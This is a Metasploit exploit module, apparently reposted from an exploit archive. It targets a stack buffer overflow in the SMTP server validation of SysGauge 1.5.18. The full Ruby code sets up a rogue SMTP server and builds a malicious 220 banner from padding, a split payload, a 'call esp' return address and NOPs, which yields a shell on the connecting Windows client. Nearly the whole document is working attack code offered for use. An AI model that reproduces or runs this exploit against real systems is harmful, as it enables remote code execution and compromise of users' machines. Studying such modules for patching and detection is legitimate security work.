SysGauge SMTP Validation Buffer Overflow
Posted on 22 March 2017
# # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::TcpServer Rank = NormalRanking def initialize() super( 'Name' => 'SysGauge SMTP Validation Buffer Overflow', 'Description' => %q{ This module will setup an SMTP server expecting a connection from SysGauge 1.5.18 via its SMTP server validation. The module sends a malicious response along in the 220 service ready response and exploits the client, resulting in an unprivileged shell. }, 'Author' => [ 'Chris Higgins', # msf Module -- @ch1gg1ns 'Peter Baris' # Initial discovery and PoC ], 'License' => MSF_LICENSE, 'References' => [ [ 'EDB', '41479' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 306, 'BadChars' => "x00x0ax0dx20" }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Offset' => 176, 'Ret' => 0x6527635E # call esp # QtGui4.dll } ] ], 'Privileged' => false, 'DisclosureDate' => 'Feb 28 2017', 'DefaultTarget' => 0 ) register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]), ]) end def on_client_connect(c) # Note here that the payload must be split into two parts. # The payload gets jumbled in the stack so we need to split # and align to get it to execute correctly. sploit = "220 " sploit << rand_text(target['Offset']) # Can only use the last part starting from 232 bytes in sploit << payload.encoded[232..-1] sploit << rand_text(2) sploit << [target.ret].pack('V') sploit << rand_text(12) sploit << make_nops(8) # And the first part up to 232 bytes sploit << payload.encoded[0..231] sploit << "ESMTP Sendmail " print_status("Client connected: " + c.peerhost) print_status("Sending payload...") c.put(sploit) end end
